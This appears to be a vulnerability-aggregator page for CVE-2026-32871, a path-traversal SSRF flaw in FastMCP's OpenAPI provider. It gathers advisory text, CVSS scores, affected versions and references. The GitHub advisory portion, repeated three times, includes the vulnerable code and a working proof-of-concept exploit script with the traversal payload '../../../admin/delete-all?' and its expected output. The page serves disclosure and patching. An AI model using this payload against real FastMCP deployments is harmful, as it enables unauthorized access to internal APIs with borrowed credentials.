CVE-2026-32871
FastMCP OpenAPI Provider has an SSRF & Path Traversal Vulnerability
FastMCP is a Pythonic way to build MCP servers and clients. Prior to version 3.2.0, the OpenAPIProvider in FastMCP exposes internal APIs to MCP clients by parsing OpenAPI specifications. The RequestDirector class is responsible for constructing HTTP requests to the backend service. A vulnerability exists in the _build_url() method. When an OpenAPI operation defines path parameters (e.g., /api/v1/users/{user_id}), the system directly substitutes parameter values into the URL template string without URL-encoding. Subsequently, urllib.parse.urljoin() resolves the final URL. Since urljoin() interprets ../ sequences as directory traversal, an attacker controlling a path parameter can perform path traversal attacks to escape the intended API prefix and access arbitrary backend endpoints. This results in authenticated SSRF, as requests are sent with the authorization headers configured in the MCP provider. This issue has been patched in version 3.2.0.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
10.0
FastMCP OpenAPI Provider has an SSRF & Path Traversal Vulnerability
FastMCP is a Pythonic way to build MCP servers and clients. Prior to version 3.2.0, the OpenAPIProvider in FastMCP exposes internal APIs to MCP clients by parsing OpenAPI specifications. The RequestDirector class is responsible for constructing HTTP requests to the backend service. A vulnerability exists in the _build_url() method. When an OpenAPI operation defines path parameters (e.g., /api/v1/users/{user_id}), the system directly substitutes parameter values into the URL template string without URL-encoding. Subsequently, urllib.parse.urljoin() resolves the final URL. Since urljoin() interprets ../ sequences as directory traversal, an attacker controlling a path parameter can perform path traversal attacks to escape the intended API prefix and access arbitrary backend endpoints. This results in authenticated SSRF, as requests are sent with the authorization headers configured in the MCP provider. This issue has been patched in version 3.2.0.
- Record
CVE-2026-32871- CVSS 4.0
- 10.0 Critical
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H - CVSS 3.1
- 8.5 High
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-918, CWE-918
- Updated
- 2026-11-02
EUVDEUVD-2026-18250
10.0
FastMCP is a Pythonic way to build MCP servers and clients. Prior to version 3.2.0, the OpenAPIProvider in FastMCP exposes internal APIs to MCP clients by parsing OpenAPI specifications. The RequestDirector class is responsible for constructing HTTP requests to the backend service. A vulnerability exists in the _build_url() method. When an OpenAPI operation defines path parameters (e.g., /api/v1/users/{user_id}), the system directly substitutes parameter values into the URL template string without URL-encoding. Subsequently, urllib.parse.urljoin() resolves the final URL. Since urljoin() interprets ../ sequences as directory traversal, an attacker controlling a path parameter can perform path traversal attacks to escape the intended API prefix and access arbitrary backend endpoints. This results in authenticated SSRF, as requests are sent with the authorization headers configured in the MCP provider. This issue has been patched in version 3.2.0.
- Record
EUVD-2026-18250- CVSS 4.0
- 10.0 Critical
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-vv7q-7jx5-f767
10.0
FastMCP OpenAPI Provider has an SSRF & Path Traversal Vulnerability
Technical Description
The OpenAPIProvider in FastMCP exposes internal APIs to MCP clients by parsing OpenAPI specifications. The RequestDirector class is responsible for constructing HTTP requests to the backend service.
A critical vulnerability exists in the _build_url() method. When an OpenAPI operation defines path parameters (e.g., /api/v1/users/{user_id}), the system directly substitutes parameter values into the URL template string without URL-encoding. Subsequently, urllib.parse.urljoin() resolves the final URL.
Since urljoin() interprets ../ sequences as directory traversal, an attacker controlling a path parameter can perform path traversal attacks to escape the intended API prefix and access arbitrary backend endpoints. This results in authenticated SSRF, as requests are sent with the authorization headers configured in the MCP provider.
Vulnerable Code
File: fastmcp/utilities/openapi/director.py
def _build_url(
self, path_template: str, path_params: dict[str, Any], base_url: str
) -> str:
# Direct string substitution without encoding
url_path = path_template
for param_name, param_value in path_params.items():
placeholder = f"{{{param_name}}}"
if placeholder in url_path:
url_path = url_path.replace(placeholder, str(param_value))
# urljoin resolves ../ escape sequences
return urljoin(base_url.rstrip("/") + "/", url_path.lstrip("/"))
Root Cause
- Path parameters are substituted directly without URL encoding
urllib.parse.urljoin()interprets../as directory traversal- No validation prevents traversal sequences in parameter values
- Requests inherit the authentication context of the MCP provider
Proof of Concept
Step 1: Backend API Setup
Create internal_api.py to simulate a vulnerable backend server:
from fastapi import FastAPI, Header, HTTPException
import uvicorn
app = FastAPI()
@app.get("/api/v1/users/{user_id}/profile")
def get_profile(user_id: str):
return {"status": "success", "user": user_id}
@app.get("/admin/delete-all")
def admin_endpoint(authorization: str = Header(None)):
if authorization == "Bearer admin_secret":
return {"status": "CRITICAL", "message": "Administrative access granted"}
raise HTTPException(status_code=401)
if __name__ == "__main__":
uvicorn.run(app, host="127.0.0.1", port=8080)
Step 2: Exploitation Script
Create exploit_poc.py:
import asyncio
import httpx
from fastmcp.utilities.openapi.director import RequestDirector
async def exploit_ssrf():
# Initialize vulnerable component
director = RequestDirector(spec={})
base_url = "http://127.0.0.1:8080/"
template = "/api/v1/users/{id}/profile"
# Payload: Path traversal to reach /admin/delete-all
# The '?' character neutralizes the rest of the original template
payload = "../../../admin/delete-all?"
# Construct malicious URL
malicious_url = director._build_url(template, {"id": payload}, base_url)
print(f"[*] Generated URL: {malicious_url}")
async with httpx.AsyncClient() as client:
# Request inherits MCP provider's authorization headers
response = await client.get(
malicious_url,
headers={"Authorization": "Bearer admin_secret"}
)
print(f"[+] Status Code: {response.status_code}")
print(f"[+] Response: {response.text}")
if __name__ == "__main__":
asyncio.run(exploit_ssrf())
Expected Output
[*] Generated URL: http://127.0.0.1:8080/admin/delete-all?
[+] Status Code: 200
[+] Response: {"status": "CRITICAL", "message": "Administrative access granted"}
The attacker successfully accessed an endpoint not defined in the OpenAPI specification using the MCP provider's authentication credentials.
Impact Assessment
Severity Justification
- Unauthorized Access: Attackers can interact with private…
- Record
GHSA-vv7q-7jx5-f767- CVSS 4.0
- 10.0 Critical
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H - CVSS 3.1
- 10.0 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-918
- Updated
- 2026-11-02
NVD
10.0
FastMCP is a Pythonic way to build MCP servers and clients. Prior to version 3.2.0, the OpenAPIProvider in FastMCP exposes internal APIs to MCP clients by parsing OpenAPI specifications. The RequestDirector class is responsible for constructing HTTP requests to the backend service. A vulnerability exists in the _build_url() method. When an OpenAPI operation defines path parameters (e.g., /api/v1/users/{user_id}), the system directly substitutes parameter values into the URL template string without URL-encoding. Subsequently, urllib.parse.urljoin() resolves the final URL. Since urljoin() interprets ../ sequences as directory traversal, an attacker controlling a path parameter can perform path traversal attacks to escape the intended API prefix and access arbitrary backend endpoints. This results in authenticated SSRF, as requests are sent with the authorization headers configured in the MCP provider. This issue has been patched in version 3.2.0.
- Record
CVE-2026-32871- CVSS 4.0
- 10.0 Critical
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 10.0 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H - CVSS 3.1
- 8.5 High
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-918
- Updated
- 2026-11-02
OSV
10.0
FastMCP OpenAPI Provider has an SSRF & Path Traversal Vulnerability
FastMCP is a Pythonic way to build MCP servers and clients. Prior to version 3.2.0, the OpenAPIProvider in FastMCP exposes internal APIs to MCP clients by parsing OpenAPI specifications. The RequestDirector class is responsible for constructing HTTP requests to the backend service. A vulnerability exists in the _build_url() method. When an OpenAPI operation defines path parameters (e.g., /api/v1/users/{user_id}), the system directly substitutes parameter values into the URL template string without URL-encoding. Subsequently, urllib.parse.urljoin() resolves the final URL. Since urljoin() interprets ../ sequences as directory traversal, an attacker controlling a path parameter can perform path traversal attacks to escape the intended API prefix and access arbitrary backend endpoints. This results in authenticated SSRF, as requests are sent with the authorization headers configured in the MCP provider. This issue has been patched in version 3.2.0.
- Record
CVE-2026-32871- CVSS 4.0
- 10.0 Critical
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H - Weakness
- CWE-918
- Updated
- 2026-11-02
OSVGHSA-vv7q-7jx5-f767
10.0
FastMCP OpenAPI Provider has an SSRF & Path Traversal Vulnerability
Technical Description
The OpenAPIProvider in FastMCP exposes internal APIs to MCP clients by parsing OpenAPI specifications. The RequestDirector class is responsible for constructing HTTP requests to the backend service.
A critical vulnerability exists in the _build_url() method. When an OpenAPI operation defines path parameters (e.g., /api/v1/users/{user_id}), the system directly substitutes parameter values into the URL template string without URL-encoding. Subsequently, urllib.parse.urljoin() resolves the final URL.
Since urljoin() interprets ../ sequences as directory traversal, an attacker controlling a path parameter can perform path traversal attacks to escape the intended API prefix and access arbitrary backend endpoints. This results in authenticated SSRF, as requests are sent with the authorization headers configured in the MCP provider.
Vulnerable Code
File: fastmcp/utilities/openapi/director.py
def _build_url(
self, path_template: str, path_params: dict[str, Any], base_url: str
) -> str:
# Direct string substitution without encoding
url_path = path_template
for param_name, param_value in path_params.items():
placeholder = f"{{{param_name}}}"
if placeholder in url_path:
url_path = url_path.replace(placeholder, str(param_value))
# urljoin resolves ../ escape sequences
return urljoin(base_url.rstrip("/") + "/", url_path.lstrip("/"))
Root Cause
- Path parameters are substituted directly without URL encoding
urllib.parse.urljoin()interprets../as directory traversal- No validation prevents traversal sequences in parameter values
- Requests inherit the authentication context of the MCP provider
Proof of Concept
Step 1: Backend API Setup
Create internal_api.py to simulate a vulnerable backend server:
from fastapi import FastAPI, Header, HTTPException
import uvicorn
app = FastAPI()
@app.get("/api/v1/users/{user_id}/profile")
def get_profile(user_id: str):
return {"status": "success", "user": user_id}
@app.get("/admin/delete-all")
def admin_endpoint(authorization: str = Header(None)):
if authorization == "Bearer admin_secret":
return {"status": "CRITICAL", "message": "Administrative access granted"}
raise HTTPException(status_code=401)
if __name__ == "__main__":
uvicorn.run(app, host="127.0.0.1", port=8080)
Step 2: Exploitation Script
Create exploit_poc.py:
import asyncio
import httpx
from fastmcp.utilities.openapi.director import RequestDirector
async def exploit_ssrf():
# Initialize vulnerable component
director = RequestDirector(spec={})
base_url = "http://127.0.0.1:8080/"
template = "/api/v1/users/{id}/profile"
# Payload: Path traversal to reach /admin/delete-all
# The '?' character neutralizes the rest of the original template
payload = "../../../admin/delete-all?"
# Construct malicious URL
malicious_url = director._build_url(template, {"id": payload}, base_url)
print(f"[*] Generated URL: {malicious_url}")
async with httpx.AsyncClient() as client:
# Request inherits MCP provider's authorization headers
response = await client.get(
malicious_url,
headers={"Authorization": "Bearer admin_secret"}
)
print(f"[+] Status Code: {response.status_code}")
print(f"[+] Response: {response.text}")
if __name__ == "__main__":
asyncio.run(exploit_ssrf())
Expected Output
[*] Generated URL: http://127.0.0.1:8080/admin/delete-all?
[+] Status Code: 200
[+] Response: {"status": "CRITICAL", "message": "Administrative access granted"}
The attacker successfully accessed an endpoint not defined in the OpenAPI specification using the MCP provider's authentication credentials.
Impact Assessment
Severity Justification
- Unauthorized Access: Attackers can interact with private…
- Record
GHSA-vv7q-7jx5-f767- CVSS 4.0
- 10.0 Critical
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H - CVSS 3.1
- 10.0 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-918
- Updated
- 2026-11-02
Show 4 moreShow less
OSVPYSEC-2026-338
10.0
FastMCP OpenAPI Provider has an SSRF & Path Traversal Vulnerability
Technical Description
The OpenAPIProvider in FastMCP exposes internal APIs to MCP clients by parsing OpenAPI specifications. The RequestDirector class is responsible for constructing HTTP requests to the backend service.
A critical vulnerability exists in the _build_url() method. When an OpenAPI operation defines path parameters (e.g., /api/v1/users/{user_id}), the system directly substitutes parameter values into the URL template string without URL-encoding. Subsequently, urllib.parse.urljoin() resolves the final URL.
Since urljoin() interprets ../ sequences as directory traversal, an attacker controlling a path parameter can perform path traversal attacks to escape the intended API prefix and access arbitrary backend endpoints. This results in authenticated SSRF, as requests are sent with the authorization headers configured in the MCP provider.
Vulnerable Code
File: fastmcp/utilities/openapi/director.py
def _build_url(
self, path_template: str, path_params: dict[str, Any], base_url: str
) -> str:
# Direct string substitution without encoding
url_path = path_template
for param_name, param_value in path_params.items():
placeholder = f"{{{param_name}}}"
if placeholder in url_path:
url_path = url_path.replace(placeholder, str(param_value))
# urljoin resolves ../ escape sequences
return urljoin(base_url.rstrip("/" ) + "/", url_path.lstrip("/"))
Root Cause
- Path parameters are substituted directly without URL encoding
urllib.parse.urljoin()interprets../as directory traversal- No validation prevents traversal sequences in parameter values
- Requests inherit the authentication context of the MCP provider
Proof of Concept
Step 1: Backend API Setup
Create internal_api.py to simulate a vulnerable backend server:
from fastapi import FastAPI, Header, HTTPException
import uvicorn
app = FastAPI()
@app.get("/api/v1/users/{user_id}/profile")
def get_profile(user_id: str):
return {"status": "success", "user": user_id}
@app.get("/admin/delete-all")
def admin_endpoint(authorization: str = Header(None)):
if authorization == "Bearer admin_secret":
return {"status": "CRITICAL", "message": "Administrative access granted"}
raise HTTPException(status_code=401)
if __name__ == "__main__":
uvicorn.run(app, host="127.0.0.1", port=8080)
Step 2: Exploitation Script
Create exploit_poc.py:
import asyncio
import httpx
from fastmcp.utilities.openapi.director import RequestDirector
async def exploit_ssrf():
# Initialize vulnerable component
director = RequestDirector(spec={})
base_url = "http://127.0.0.1:8080/"
template = "/api/v1/users/{id}/profile"
# Payload: Path traversal to reach /admin/delete-all
# The '?' character neutralizes the rest of the original template
payload = "../../../admin/delete-all?"
# Construct malicious URL
malicious_url = director._build_url(template, {"id": payload}, base_url)
print(f"[*] Generated URL: {malicious_url}")
async with httpx.AsyncClient() as client:
# Request inherits MCP provider's authorization headers
response = await client.get(
malicious_url,
headers={"Authorization": "Bearer admin_secret"}
)
print(f"[+] Status Code: {response.status_code}")
print(f"[+] Response: {response.text}")
if __name__ == "__main__":
asyncio.run(exploit_ssrf())
Expected Output
[*] Generated URL: http://127.0.0.1:8080/admin/delete-all?
[+] Status Code: 200
[+] Response: {"status": "CRITICAL", "message": "Administrative access granted"}
The attacker successfully accessed an endpoint not defined in the OpenAPI specification using the MCP provider's authentication credentials.
Impact Assessment
Severity Justification
- Unauthorized Access: Attackers can interact with…
- Record
PYSEC-2026-338- CVSS 4.0
- 10.0 Critical
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H - CVSS 3.1
- 10.0 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H - Updated
- 2026-11-02
OSVROOT-APP-PYPI-CVE-2026-32871
10.0
CVE-2026-32871 in rootio-fastmcp - Patched by Root
Root has patched CVE-2026-32871 in the rootio-fastmcp package for Root:PyPI. Multiple fixed versions available.
- Record
ROOT-APP-PYPI-CVE-2026-32871- CVSS 3.1
- 10.0 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H - Updated
- 2026-11-02
OSVCLSA-2026-1778460304 No score
TuxCare security update for fastmcp (2 CVEs)
TuxCare rebuilt fastmcp to address 2 CVEs. Fixed in 2.14.7.post1+tuxcare.
- Record
CLSA-2026-1778460304- Updated
- 2026-11-02
OSVCLSA-2026-1788514996 No score
TuxCare security update for fastmcp (1 CVE)
TuxCare rebuilt fastmcp to address 1 CVE. Fixed in 2.14.5.post2+tuxcare.
- Record
CLSA-2026-1788514996- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
fastmcpPyPI |
before 3.2.0 | 3.2.0 |
fastmcpTuxCare:PyPI From an advisory covering 2 CVEs |
2.14.7 up to 2.14.7.post1+tuxcare | 2.14.7.post1+tuxcare |
fastmcpTuxCare:PyPI |
2.14.5 up to 2.14.5.post2+tuxcare, plus listed versions 2.14.5.post1+tuxcare |
2.14.5.post2+tuxcare |
fastmcpPyPI |
before 3.2.0, plus listed versions 0.1.00.2.00.3.00.3.10.3.2 Show 45 moreShow less0.3.30.3.40.3.50.4.00.4.11.02.0.02.1.02.1.12.1.22.10.02.10.12.10.22.10.32.10.42.10.52.10.62.11.02.11.12.11.22.11.32.12.02.12.0rc12.12.12.12.22.12.32.12.42.12.52.13.02.13.0.12.13.0.22.13.0rc12.13.0rc22.13.0rc32.13.12.13.22.13.32.14.02.14.12.14.22.14.32.14.42.14.52.14.62.14.7 |
3.2.0 |
rootio-fastmcpRoot:PyPI |
before 2.11.3+root.io.2 | 2.11.3+root.io.22.11.3+root.io.32.12.4+root.io.22.12.4+root.io.32.11.3+root.io.42.12.4+root.io.42.11.3+root.io.52.12.4+root.io.5 |
fastmcpRoot:PyPI |
before 2.11.3+aikido.5 | 2.11.3+aikido.52.12.4+aikido.5 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, facts | ||
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-32871 is a critical vulnerability (CVSS 10.0) in Jlowin Fastmcp, published March 31, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.92%, the 60th percentile. Fixed in fastmcp 3.2.0.
References
github.com/PrefectHQ/fastmcp/security/advisories/GHSA-vv7q-7jx5-f767
github.com/PrefectHQ/fastmcp/pull/3507
github.com/PrefectHQ/fastmcp/commit/40bdfb6b1de0ce30609ee9ba5bb95ecd04a9fb71
github.com/PrefectHQ/fastmcp/releases/tag/v3.2.0
access.redhat.com/security/cve/CVE-2026-32871
bugzilla.redhat.com/show_bug.cgi?id=2454434
Show 8 moreShow less
security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-32871.json
access.redhat.com/errata/RHSA-2026:36350
nvd.nist.gov/vuln/detail/CVE-2026-32871
github.com/pypa/advisory-database/tree/main/vulns/fastmcp/PYSEC-2026-338.yaml
pypi.org/project/fastmcp
github.com/advisories/GHSA-vv7q-7jx5-f767
github.com/CVEProject/cvelistV5/tree/main/cves/2026/32xxx/CVE-2026-32871.json
github.com/PrefectHQ/fastmcp
Left out here: 41 versions and the rest of 3 source descriptions. The JSON record has them.